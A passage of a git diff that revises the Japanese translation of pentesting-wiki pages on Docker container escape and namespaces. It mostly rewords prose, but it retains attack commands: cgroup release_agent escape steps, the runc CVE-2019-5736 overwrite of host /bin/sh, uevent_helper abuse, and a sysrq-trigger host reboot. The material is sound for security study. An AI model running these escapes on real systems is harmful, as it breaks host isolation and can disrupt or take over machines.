で構成されている場合、そのコンテナのネットワークスタックはDockerホストから隔離されておらず(コンテナはホストのネットワーキングネームスペースを共有)、コンテナには独自のIPアドレスが割り当てられません。言い換えれば、**コンテナはすべてのサービスをホストのIPに直接バインドします**。さらに、コンテナは**ホストが送受信しているすべてのネットワークトラフィックを傍受することができます**。共有インターフェース `tcpdump -i eth0` で。 例えば、これを使用して**ホストとメタデータインスタンス間のトラフィックを傍受し、さらには偽装する**ことができます。 @@ -430,13 +430,13 @@ docker run --rm -it --network=host ubuntu bash - [Writeup: How to contact Google SRE: Dropping a shell in cloud SQL](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/) - [Metadata service MITM allows root privilege escalation (EKS / GKE)](https://blog.champtar.fr/Metadata_MITM_root_EKS_GKE/) -ホスト内の**localhostにバインドされたネットワークサービス**にもアクセスできるようになり、さらには**ノードのメタデータ権限**(コンテナがアクセスできるものとは異なる場合があります)にもアクセスできます。 +また、ホスト内の**localhostにバインドされたネットワークサービス**にアクセスしたり、**ノードのメタデータ権限**(コンテナがアクセスできるものとは異なる場合があります)にアクセスすることもできます。 ### hostIPC ```bash docker run --rm -it --ipc=host ubuntu bash ``` -`hostIPC=true`を設定すると、ホストのプロセス間通信(IPC)リソース、例えば`/dev/shm`の**共有メモリ**にアクセスできます。これにより、他のホストやポッドプロセスが使用している同じIPCリソースに対して読み書きが可能になります。これらのIPCメカニズムをさらに調査するには、`ipcs`を使用してください。 +`hostIPC=true`を設定すると、ホストのプロセス間通信(IPC)リソース、例えば`/dev/shm`の**共有メモリ**にアクセスできます。これにより、他のホストやポッドプロセスが使用する同じIPCリソースに対して読み書きが可能になります。これらのIPCメカニズムをさらに調査するには、`ipcs`を使用してください。 - **/dev/shmを調査** - この共有メモリの場所にあるファイルを探します: `ls -la /dev/shm` - **既存のIPC施設を調査** – `/usr/bin/ipcs`を使用して、IPC施設が使用されているか確認できます。次のコマンドで確認してください: `ipcs -a` @@ -451,15 +451,15 @@ cat /proc/self/status | grep CapEff ``` ### ユーザー名前空間のシンボリックリンクを利用した悪用 -投稿で説明されている2番目の技術は、[https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) に示されているように、ユーザー名前空間を使用してバインドマウントを悪用し、ホスト内のファイルに影響を与える方法(この特定のケースでは、ファイルを削除する)を示しています。 +投稿で説明されている2番目の技術は、[https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) に示されており、ユーザー名前空間を使用してバインドマウントを悪用し、ホスト内のファイルに影響を与える方法(この特定のケースでは、ファイルを削除する)を示しています。 ## CVE ### Runcの脆弱性 (CVE-2019-5736) -`docker exec`をrootとして実行できる場合(おそらくsudoを使用して)、CVE-2019-5736を悪用してコンテナからエスケープし、特権を昇格させようとします(エクスプロイトは[こちら](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go))。この技術は基本的に、**コンテナからホストの_**/bin/sh**_バイナリを**上書き**しますので、docker execを実行する誰もがペイロードをトリガーする可能性があります。 +`docker exec`をrootとして実行できる場合(おそらくsudoを使用して)、CVE-2019-5736を悪用してコンテナからエスケープし、特権を昇格させようとします(エクスプロイトは[こちら](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go))。この技術は基本的に、**コンテナからホストの** _**/bin/sh**_ バイナリを**上書き**するため、docker execを実行する誰もがペイロードをトリガーする可能性があります。 -ペイロードを適宜変更し、`go build main.go`でmain.goをビルドします。生成されたバイナリは、実行のためにdockerコンテナ内に配置する必要があります。\ +ペイロードを適宜変更し、`go build main.go`でmain.goをビルドします。生成されたバイナリは、実行のためにdockerコンテナに配置する必要があります。\ 実行時に`[+] Overwritten /bin/sh successfully`と表示されたら、ホストマシンから以下を実行する必要があります: `docker exec -it /bin/sh` @@ -469,13 +469,13 @@ cat /proc/self/status | grep CapEff 詳細については、[https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html)を参照してください。 > [!NOTE] -> コンテナが脆弱である可能性のある他のCVEもあります。リストは[https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list)で見つけることができます。 +> コンテナが脆弱である可能性のある他のCVEもあります。リストは[https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list)で確認できます。 ## Dockerカスタムエスケープ ### Dockerエスケープサーフェス -- **名前空間**: プロセスは名前空間を介して**他のプロセスから完全に分離されるべき**であり、名前空間のために他のプロセスと相互作用してエスケープすることはできません(デフォルトではIPC、Unixソケット、ネットワークサービス、D-Bus、他のプロセスの`/proc`を介して通信できません)。 +- **名前空間:** プロセスは名前空間を介して**他のプロセスから完全に分離されるべき**であり、名前空間のために他のプロセスと相互作用してエスケープすることはできません(デフォルトでは、IPC、Unixソケット、ネットワークサービス、D-Bus、他のプロセスの`/proc`を介して通信できません)。 - **ルートユーザー**: デフォルトでは、プロセスを実行しているユーザーはルートユーザーです(ただし、その特権は制限されています)。 - **能力**: Dockerは以下の能力を残します: `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep` - **システムコール**: これらは**ルートユーザーが呼び出すことができない**システムコールです(能力が不足しているため + Seccomp)。他のシステムコールはエスケープを試みるために使用される可能性があります。 diff --git a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md index 3376ea804..544cd5a5c 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md +++ b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md @@ -27,8 +27,8 @@ mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x echo 1 > /tmp/cgrp/x/notify_on_release ``` 3. **リリースエージェントの設定:** -- ホスト上のコンテナのパスは、/etc/mtab ファイルから取得されます。 -- 次に、cgroup の release_agent ファイルが、取得したホストパスにある /cmd という名前のスクリプトを実行するように設定されます。 +- ホスト上のコンテナのパスは、/etc/mtabファイルから取得されます。 +- 次に、cgroupのrelease_agentファイルが、取得したホストパスにある/cmdという名前のスクリプトを実行するように設定されます。 ```shell host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` echo "$host_path/cmd" > /tmp/cgrp/release_agent @@ -42,7 +42,7 @@ chmod a+x /cmd ``` 5. **攻撃をトリガーする:** - "x" 子 cgroup 内でプロセスが開始され、すぐに終了します。 -- これにより `release_agent`(/cmd スクリプト)がトリガーされ、ホスト上で ps aux が実行され、その出力がコンテナ内の /output に書き込まれます。 +- これにより `release_agent`(/cmd スクリプト)がトリガーされ、ホスト上で ps aux を実行し、その出力をコンテナ内の /output に書き込みます。 ```shell sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" ``` diff --git a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/release_agent-exploit-relative-paths-to-pids.md b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/release_agent-exploit-relative-paths-to-pids.md index 0e2657ad2..ca2c6b2a6 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/release_agent-exploit-relative-paths-to-pids.md +++ b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/release_agent-exploit-relative-paths-to-pids.md @@ -1,14 +1,14 @@ {{#include ../../../../banners/hacktricks-training.md}} -詳細については、**[https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)** のブログポートを確認してください。これは要約に過ぎません: +さらなる詳細については、**[https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)のブログポートを確認してください**。これは要約に過ぎません: -この技術は、**コンテナ内からホストコードを実行する方法**を概説しており、Kata Containersや特定の `devicemapper` 設定のように、ホスト上のコンテナのファイルシステムパスを隠すストレージドライバ構成によって引き起こされる課題を克服します。 +この技術は、**コンテナ内からホストコードを実行する方法**を概説しており、Kata Containersや特定の`devicemapper`設定のように、ホスト上のコンテナのファイルシステムパスを隠すストレージドライバ構成によって引き起こされる課題を克服します。 主なステップ: -1. **プロセスID(PID)の特定:** Linuxの擬似ファイルシステム内の `/proc//root` シンボリックリンクを使用して、コンテナ内の任意のファイルにホストのファイルシステムに対して相対的にアクセスできます。これにより、ホスト上のコンテナのファイルシステムパスを知る必要がなくなります。 -2. **PIDバッシング:** ホスト上のPIDを検索するためにブルートフォースアプローチが採用されます。これは、`/proc//root/` に特定のファイルの存在を順次確認することによって行われます。ファイルが見つかると、それに対応するPIDがターゲットコンテナ内で実行されているプロセスに属していることを示します。 -3. **実行のトリガー:** 推測されたPIDパスが `cgroups release_agent` ファイルに書き込まれます。このアクションは `release_agent` の実行をトリガーします。このステップの成功は、出力ファイルの作成を確認することで確認されます。 +1. **プロセスID(PID)の特定:** Linuxの擬似ファイルシステム内の`/proc//root`シンボリックリンクを使用して、コンテナ内の任意のファイルにホストのファイルシステムに対して相対的にアクセスできます。これにより、ホスト上のコンテナのファイルシステムパスを知る必要がなくなります。 +2. **PIDバッシング:** ホスト上のPIDを検索するためにブルートフォースアプローチが採用されます。これは、`/proc//root/`に特定のファイルの存在を順次確認することによって行われます。ファイルが見つかると、それに対応するPIDがターゲットコンテナ内で実行されているプロセスに属していることを示します。 +3. **実行のトリガー:** 推測されたPIDパスが`cgroups release_agent`ファイルに書き込まれます。このアクションは`release_agent`の実行をトリガーします。このステップの成功は、出力ファイルの作成を確認することで確認されます。 ### 攻撃プロセス @@ -16,9 +16,9 @@ 1. **環境の初期化:** ホスト上にペイロードスクリプト(`payload.sh`)が準備され、cgroup操作のためのユニークなディレクトリが作成されます。 2. **ペイロードの準備:** ホスト上で実行されるコマンドを含むペイロードスクリプトが書かれ、実行可能にされます。 -3. **Cgroupの設定:** cgroupがマウントされ、構成されます。`notify_on_release` フラグが設定され、cgroupが解放されるとペイロードが実行されるようにします。 -4. **PIDのブルートフォース:** ループが潜在的なPIDを反復し、推測された各PIDを `release_agent` ファイルに書き込みます。これにより、ペイロードスクリプトが `release_agent` として設定されます。 -5. **実行のトリガーと確認:** 各PIDについて、cgroupの `cgroup.procs` に書き込まれ、PIDが正しい場合に `release_agent` の実行がトリガーされます。ペイロードスクリプトの出力が見つかるまでループは続き、成功した実行を示します。 +3. **Cgroupの設定:** cgroupがマウントされ、構成されます。`notify_on_release`フラグが設定され、cgroupが解放されるとペイロードが実行されるようにします。 +4. **PIDのブルートフォース:** ループが潜在的なPIDを反復し、各推測されたPIDを`release_agent`ファイルに書き込みます。これにより、ペイロードスクリプトが`release_agent`として設定されます。 +5. **実行のトリガーと確認:** 各PIDについて、cgroupの`cgroup.procs`に書き込まれ、PIDが正しい場合に`release_agent`の実行がトリガーされます。ペイロードスクリプトの出力が見つかるまでループは続き、成功した実行を示します。 ブログ投稿からのPoC: ```bash diff --git a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md index 5d7a29e61..a827e3422 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md +++ b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md @@ -2,7 +2,7 @@ {{#include ../../../../banners/hacktricks-training.md}} -`/proc` と `/sys` の適切な名前空間の分離なしでの露出は、攻撃面の拡大や情報漏洩を含む重大なセキュリティリスクを引き起こします。これらのディレクトリには、誤って設定されたり、無許可のユーザーによってアクセスされた場合、コンテナの脱出、ホストの変更、またはさらなる攻撃を助ける情報を提供する可能性のある機密ファイルが含まれています。たとえば、`-v /proc:/host/proc` を誤ってマウントすると、そのパスベースの性質により AppArmor の保護を回避し、`/host/proc` が保護されなくなります。 +`/proc` と `/sys` の適切な名前空間の分離なしでの露出は、攻撃面の拡大や情報漏洩を含む重大なセキュリティリスクを引き起こします。これらのディレクトリには、誤って設定されたり、無許可のユーザーによってアクセスされたりすると、コンテナの脱出、ホストの変更、またはさらなる攻撃を助ける情報を提供する可能性のある機密ファイルが含まれています。たとえば、`-v /proc:/host/proc` を誤ってマウントすると、そのパスベースの性質により AppArmor の保護を回避し、`/host/proc` が保護されない状態になります。 **各潜在的脆弱性の詳細は** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**で確認できます。** @@ -47,7 +47,7 @@ ls -l $(cat /proc/sys/kernel/modprobe) # modprobe へのアクセスを確認 #### **`/proc/sys/fs/binfmt_misc`** -- マジックナンバーに基づいて非ネイティブバイナリ形式のインタプリタを登録できます。 +- マジックナンバーに基づいて非ネイティブバイナリ形式のインタープリタを登録できます。 - `/proc/sys/fs/binfmt_misc/register` が書き込み可能な場合、特権昇格やルートシェルアクセスにつながる可能性があります。 - 関連するエクスプロイトと説明: - [Poor man's rootkit via binfmt_misc](https://github.com/toffan/binfmt_misc) @@ -62,7 +62,7 @@ ls -l $(cat /proc/sys/kernel/modprobe) # modprobe へのアクセスを確認 #### **`/proc/sysrq-trigger`** -- Sysrq コマンドを呼び出すことができ、即座にシステムを再起動したり、他の重要なアクションを引き起こす可能性があります。 +- Sysrq コマンドを呼び出すことができ、即座にシステムを再起動したり、他の重要なアクションを引き起こしたりする可能性があります。 - **ホストを再起動する例**: ```bash @@ -118,7 +118,7 @@ echo b > /proc/sysrq-trigger # ホストを再起動 #### **`/sys/kernel/uevent_helper`** -- カーネルデバイスの `uevents` を処理するために使用されます。 +- カーネルデバイス `uevents` を処理するために使用されます。 - `/sys/kernel/uevent_helper` への書き込みは、`uevent` トリガー時に任意のスクリプトを実行する可能性があります。 - **悪用の例**: %%%bash @@ -152,13 +152,13 @@ cat /output %%% #### **`/sys/kernel/security`** -- `securityfs` インターフェースを持ち、AppArmor のような Linux セキュリティモジュールの設定を許可します。 +- `securityfs` インターフェースを保持し、AppArmor のような Linux セキュリティモジュールの設定を許可します。 - アクセスにより、コンテナがその MAC システムを無効にする可能性があります。 #### **`/sys/firmware/efi/vars` と `/sys/firmware/efi/efivars`** - NVRAM 内の EFI 変数と対話するためのインターフェースを公開します。 -- 誤設定や悪用により、ラップトップがブリックされたり、ホストマシンが起動不能になる可能性があります。 +- 誤設定や悪用により、ラップトップがブリックされたり、ホストマシンが起動不能になったりする可能性があります。 #### **`/sys/kernel/debug`** diff --git a/src/linux-hardening/privilege-escalation/docker-security/docker-privileged.md b/src/linux-hardening/privilege-escalation/docker-security/docker-privileged.md index af1a2c558..cdd664233 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/docker-privileged.md +++ b/src/linux-hardening/privilege-escalation/docker-security/docker-privileged.md @@ -33,7 +33,7 @@ cpu nbd0 pts stdout tty27 {{#endtab}} {{#endtabs}} -### 読み取り専用カーネルファイルシステム +### 読み取り専用のカーネルファイルシステム カーネルファイルシステムは、プロセスがカーネルの動作を変更するためのメカニズムを提供します。しかし、コンテナプロセスに関しては、カーネルに対して変更を加えることを防ぎたいと考えています。したがって、カーネルファイルシステムをコンテナ内で**読み取り専用**としてマウントし、コンテナプロセスがカーネルを変更できないようにします。 @@ -102,7 +102,7 @@ Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setg ``` {{#endtab}} -{{#tab name="特権コンテナ内"}} +{{#tab name="Inside Privileged Container"}} ```bash # docker run --rm --privileged -it alpine sh apk add -U libcap; capsh --print @@ -114,11 +114,11 @@ Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fset {{#endtab}} {{#endtabs}} -コンテナに対して利用可能な機能を、`--privileged` モードで実行せずに `--cap-add` および `--cap-drop` フラグを使用して操作できます。 +コンテナに対して利用可能な機能を、`--privileged` モードで実行せずに、`--cap-add` および `--cap-drop` フラグを使用して操作できます。 ### Seccomp -**Seccomp** は、コンテナが呼び出すことができる **syscalls** を **制限** するのに役立ちます。デフォルトの seccomp プロファイルは、docker コンテナを実行する際にデフォルトで有効ですが、特権モードでは無効になります。Seccomp について詳しくはこちらをご覧ください: +**Seccomp** は、コンテナが呼び出すことができる **syscalls** を **制限** するのに役立ちます。デフォルトの seccomp プロファイルは、docker コンテナを実行する際にデフォルトで有効ですが、特権モードでは無効になります。Seccomp についての詳細はこちらをご覧ください: {{#ref}} seccomp.md @@ -134,7 +134,7 @@ Seccomp_filters: 1 ``` {{#endtab}} -{{#tab name="Inside Privileged Container"}} +{{#tab name="特権コンテナ内"}} ```bash # docker run --rm --privileged -it alpine sh grep Seccomp /proc/1/status @@ -147,11 +147,11 @@ Seccomp_filters: 0 # You can manually disable seccomp in docker with --security-opt seccomp=unconfined ``` -また、**Kubernetes** クラスターで Docker(または他の CRI)が使用されるとき、**seccomp フィルターはデフォルトで無効**になっていることに注意してください。 +また、Docker(または他のCRIs)が**Kubernetes**クラスターで使用されるとき、**seccompフィルターはデフォルトで無効**になっていることに注意してください。 ### AppArmor -**AppArmor** は、**コンテナ** を **制限された** **リソース** の **プログラムごとのプロファイル** に制限するためのカーネル拡張です。 `--privileged` フラグを使用して実行すると、この保護は無効になります。 +**AppArmor**は、**コンテナ**を**制限された**リソースのセットに制限するためのカーネル拡張です。**プログラムごとのプロファイル**を使用します。`--privileged`フラグを使用して実行すると、この保護は無効になります。 {{#ref}} apparmor.md @@ -162,7 +162,7 @@ apparmor.md ``` ### SELinux -`--privileged` フラグを使用してコンテナを実行すると、**SELinux ラベル**が無効になり、コンテナエンジンのラベル、通常は `unconfined` を継承し、コンテナエンジンと同様の完全なアクセスを許可します。ルートレスモードでは `container_runtime_t` が使用され、ルートモードでは `spc_t` が適用されます。 +`--privileged` フラグを使用してコンテナを実行すると、**SELinux ラベル**が無効になり、通常は `unconfined` のコンテナエンジンのラベルを継承し、コンテナエンジンと同様の完全なアクセスを許可します。ルートレスモードでは `container_runtime_t` が使用され、ルートモードでは `spc_t` が適用されます。 {{#ref}} ../selinux.md @@ -175,7 +175,7 @@ apparmor.md ### ネームスペース -ネームスペースは **`--privileged`** フラグの影響を **受けません**。セキュリティ制約が有効になっていないにもかかわらず、例えば **システム上のすべてのプロセスやホストネットワークを見ることはできません**。ユーザーは **`--pid=host`、`--net=host`、`--ipc=host`、`--uts=host`** コンテナエンジンフラグを使用して個々のネームスペースを無効にできます。 +ネームスペースは **`--privileged`** フラグの影響を **受けません**。セキュリティ制約が有効でないにもかかわらず、例えば **システム上のすべてのプロセスやホストネットワークを見ることはできません**。ユーザーは **`--pid=host`、`--net=host`、`--ipc=host`、`--uts=host`** コンテナエンジンフラグを使用して個々のネームスペースを無効にできます。 {{#tabs}} {{#tab name="Inside default privileged container"}} @@ -203,7 +203,7 @@ PID USER TIME COMMAND ### ユーザー名前空間 -**デフォルトでは、コンテナエンジンはユーザー名前空間を利用しませんが、rootlessコンテナはファイルシステムのマウントや複数のUIDを使用するためにそれを必要とします。** ユーザー名前空間はrootlessコンテナに不可欠であり、無効にすることはできず、特権を制限することでセキュリティを大幅に向上させます。 +**デフォルトでは、コンテナエンジンはユーザー名前空間を利用しませんが、ルートレスコンテナはファイルシステムのマウントや複数のUIDを使用するためにそれを必要とします。** ルートレスコンテナに不可欠なユーザー名前空間は無効にできず、特権を制限することでセキュリティを大幅に向上させます。 ## 参考文献 diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md index 5b5a15509..70a38ed70 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md @@ -11,8 +11,8 @@ cgroup 名前空間は、以前に議論した他の名前空間タイプ(PID ### 仕組み: 1. 新しい cgroup 名前空間が作成されると、**作成プロセスの cgroup に基づいた cgroup 階層のビューから始まります**。これは、新しい cgroup 名前空間内で実行されるプロセスが、作成プロセスの cgroup に根ざした cgroup サブツリーに制限された、全体の cgroup 階層のサブセットのみを表示することを意味します。 -2. cgroup 名前空間内のプロセスは、**自分の cgroup を階層のルートとして見る**ことになります。これは、名前空間内のプロセスの視点から、自分の cgroup がルートとして表示され、他のサブツリーの外にある cgroups を見ることもアクセスすることもできないことを意味します。 -3. cgroup 名前空間はリソースの隔離を直接提供するわけではありません; **cgroup 階層のビューの隔離のみを提供します**。**リソースの制御と隔離は、cgroup** サブシステム(例: cpu、memory など)自体によって依然として強制されます。 +2. cgroup 名前空間内のプロセスは、**自分の cgroup を階層のルートとして見る**ことになります。これは、名前空間内のプロセスの視点から見ると、自分の cgroup がルートとして表示され、他のサブツリー外の cgroup を見ることもアクセスすることもできないことを意味します。 +3. cgroup 名前空間はリソースの隔離を直接提供するわけではありません; **cgroup 階層のビューの隔離のみを提供します**。**リソースの制御と隔離は、cgroup** サブシステム(例: cpu、memory など)自体によって強制されます。 CGroups に関する詳細情報は次を確認してください: @@ -32,7 +32,7 @@ sudo unshare -C [--mount-proc] /bin/bash
-エラー: bash: fork: メモリを割り当てできません +エラー: bash: fork: メモリを割り当てることができません `unshare` が `-f` オプションなしで実行されると、Linux が新しい PID (プロセス ID) ネームスペースを処理する方法のためにエラーが発生します。重要な詳細と解決策は以下の通りです: @@ -44,11 +44,11 @@ sudo unshare -C [--mount-proc] /bin/bash 2. **結果**: -- 新しいネームスペース内で PID 1 が終了すると、`PIDNS_HASH_ADDING` フラグがクリーニングされます。これにより、新しいプロセスを作成する際に `alloc_pid` 関数が新しい PID を割り当てることに失敗し、「メモリを割り当てできません」というエラーが発生します。 +- 新しいネームスペース内で PID 1 が終了すると、`PIDNS_HASH_ADDING` フラグがクリーニングされます。これにより、新しいプロセスを作成する際に `alloc_pid` 関数が新しい PID を割り当てることに失敗し、「メモリを割り当てることができません」というエラーが発生します。 3. **解決策**: - この問題は、`unshare` に `-f` オプションを使用することで解決できます。このオプションは、`unshare` が新しい PID ネームスペースを作成した後に新しいプロセスをフォークします。 -- `%unshare -fp /bin/bash%` を実行すると、`unshare` コマンド自体が新しいネームスペース内で PID 1 になります。これにより、`/bin/bash` とその子プロセスはこの新しいネームスペース内に安全に収容され、PID 1 の早期終了を防ぎ、通常の PID 割り当てを可能にします。 +- `%unshare -fp /bin/bash%` を実行すると、`unshare` コマンド自体が新しいネームスペース内で PID 1 になります。これにより、`/bin/bash` とその子プロセスはこの新しいネームスペース内に安全に収容され、PID 1 の早期終了を防ぎ、正常な PID 割り当てを可能にします。 `unshare` が `-f` フラグで実行されることを保証することで、新しい PID ネームスペースが正しく維持され、`/bin/bash` とそのサブプロセスがメモリ割り当てエラーに遭遇することなく動作できるようになります。 diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md index 5c9bb1128..ee2efe508 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md @@ -4,13 +4,13 @@ ## 基本情報 -IPC(Inter-Process Communication)名前空間は、メッセージキュー、共有メモリセグメント、セマフォなどのSystem V IPCオブジェクトの**隔離**を提供するLinuxカーネルの機能です。この隔離により、**異なるIPC名前空間のプロセスは互いのIPCオブジェクトに直接アクセスしたり、変更したりできない**ため、プロセスグループ間のセキュリティとプライバシーが追加されます。 +IPC(Inter-Process Communication)名前空間は、メッセージキュー、共有メモリセグメント、セマフォなどのSystem V IPCオブジェクトの**隔離**を提供するLinuxカーネルの機能です。この隔離により、**異なるIPC名前空間のプロセスは互いのIPCオブジェクトに直接アクセスしたり、変更したりできない**ため、プロセスグループ間のセキュリティとプライバシーの追加層が提供されます。 ### 仕組み: 1. 新しいIPC名前空間が作成されると、**完全に隔離されたSystem V IPCオブジェクトのセット**から始まります。これは、新しいIPC名前空間で実行されるプロセスが、デフォルトで他の名前空間やホストシステムのIPCオブジェクトにアクセスしたり干渉したりできないことを意味します。 -2. 名前空間内で作成されたIPCオブジェクトは、その名前空間内のプロセスにのみ**表示され、アクセス可能**です。各IPCオブジェクトは、その名前空間内で一意のキーによって識別されます。キーは異なる名前空間で同一である可能性がありますが、オブジェクト自体は隔離されており、名前空間を越えてアクセスすることはできません。 -3. プロセスは、`setns()`システムコールを使用して名前空間間を移動したり、`unshare()`または`clone()`システムコールを使用して`CLONE_NEWIPC`フラグで新しい名前空間を作成したりできます。プロセスが新しい名前空間に移動するか、新しい名前空間を作成すると、その名前空間に関連付けられたIPCオブジェクトを使用し始めます。 +2. 名前空間内で作成されたIPCオブジェクトは、その名前空間内のプロセスにのみ**可視でアクセス可能**です。各IPCオブジェクトは、その名前空間内で一意のキーによって識別されます。キーは異なる名前空間で同一である可能性がありますが、オブジェクト自体は隔離されており、名前空間を越えてアクセスすることはできません。 +3. プロセスは`setns()`システムコールを使用して名前空間間を移動したり、`unshare()`または`clone()`システムコールを`CLONE_NEWIPC`フラグと共に使用して新しい名前空間を作成したりできます。プロセスが新しい名前空間に移動するか、新しい名前空間を作成すると、その名前空間に関連付けられたIPCオブジェクトを使用し始めます。 ## ラボ: @@ -20,29 +20,29 @@ IPC(Inter-Process Communication)名前空間は、メッセージキュー ```bash sudo unshare -i [--mount-proc] /bin/bash ``` -新しいインスタンスの `/proc` ファイルシステムをマウントすることで、`--mount-proc` パラメータを使用すると、新しいマウントネームスペースがそのネームスペースに特有のプロセス情報の**正確で孤立したビュー**を持つことが保証されます。 +新しいインスタンスの `/proc` ファイルシステムを `--mount-proc` パラメータを使用してマウントすることで、新しいマウント名前空間がその名前空間に特有のプロセス情報の**正確で隔離されたビュー**を持つことを保証します。
エラー: bash: fork: メモリを割り当てることができません -`unshare` が `-f` オプションなしで実行されると、Linux が新しい PID (プロセス ID) ネームスペースを処理する方法のためにエラーが発生します。重要な詳細と解決策は以下の通りです: +`unshare` が `-f` オプションなしで実行されると、Linux が新しい PID (プロセス ID) 名前空間を処理する方法のためにエラーが発生します。重要な詳細と解決策は以下に示されています。 -1. **問題の説明**: +1. **問題の説明**: -- Linux カーネルはプロセスが `unshare` システムコールを使用して新しいネームスペースを作成することを許可します。しかし、新しい PID ネームスペースの作成を開始するプロセス(「unshare」プロセスと呼ばれる)は新しいネームスペースに入らず、その子プロセスのみが入ります。 -- `%unshare -p /bin/bash%` を実行すると、`unshare` と同じプロセスで `/bin/bash` が開始されます。その結果、`/bin/bash` とその子プロセスは元の PID ネームスペースに存在します。 -- 新しいネームスペース内の `/bin/bash` の最初の子プロセスは PID 1 になります。このプロセスが終了すると、他にプロセスがない場合、ネームスペースのクリーンアップがトリガーされます。PID 1 は孤児プロセスを引き取る特別な役割を持っています。Linux カーネルはそのネームスペース内での PID 割り当てを無効にします。 +- Linux カーネルは、プロセスが `unshare` システムコールを使用して新しい名前空間を作成することを許可します。しかし、新しい PID 名前空間の作成を開始するプロセス(「unshare」プロセスと呼ばれる)は新しい名前空間に入らず、その子プロセスのみが入ります。 +- `%unshare -p /bin/bash%` を実行すると、`unshare` と同じプロセスで `/bin/bash` が開始されます。その結果、`/bin/bash` とその子プロセスは元の PID 名前空間に存在します。 +- 新しい名前空間内の `/bin/bash` の最初の子プロセスは PID 1 になります。このプロセスが終了すると、他にプロセスがない場合、名前空間のクリーンアップがトリガーされます。PID 1 は孤児プロセスを引き取る特別な役割を持っています。Linux カーネルはその名前空間での PID 割り当てを無効にします。 -2. **結果**: +2. **結果**: -- 新しいネームスペース内で PID 1 が終了すると、`PIDNS_HASH_ADDING` フラグがクリーニングされます。これにより、新しいプロセスを作成する際に新しい PID を割り当てる `alloc_pid` 関数が失敗し、「メモリを割り当てることができません」というエラーが発生します。 +- 新しい名前空間での PID 1 の終了は、`PIDNS_HASH_ADDING` フラグのクリーンアップを引き起こします。これにより、新しいプロセスを作成する際に `alloc_pid` 関数が新しい PID を割り当てることに失敗し、「メモリを割り当てることができません」というエラーが発生します。 -3. **解決策**: -- この問題は、`unshare` に `-f` オプションを使用することで解決できます。このオプションは、`unshare` が新しい PID ネームスペースを作成した後に新しいプロセスをフォークします。 -- `%unshare -fp /bin/bash%` を実行すると、`unshare` コマンド自体が新しいネームスペース内で PID 1 になります。これにより、`/bin/bash` とその子プロセスはこの新しいネームスペース内に安全に収容され、PID 1 の早期終了を防ぎ、正常な PID 割り当てを可能にします。 +3. **解決策**: +- この問題は、`unshare` に `-f` オプションを使用することで解決できます。このオプションは、`unshare` が新しい PID 名前空間を作成した後に新しいプロセスをフォークします。 +- `%unshare -fp /bin/bash%` を実行すると、`unshare` コマンド自体が新しい名前空間で PID 1 になります。これにより、`/bin/bash` とその子プロセスはこの新しい名前空間内に安全に収容され、PID 1 の早期終了を防ぎ、正常な PID 割り当てを可能にします。 -`unshare` が `-f` フラグで実行されることを保証することで、新しい PID ネームスペースが正しく維持され、`/bin/bash` 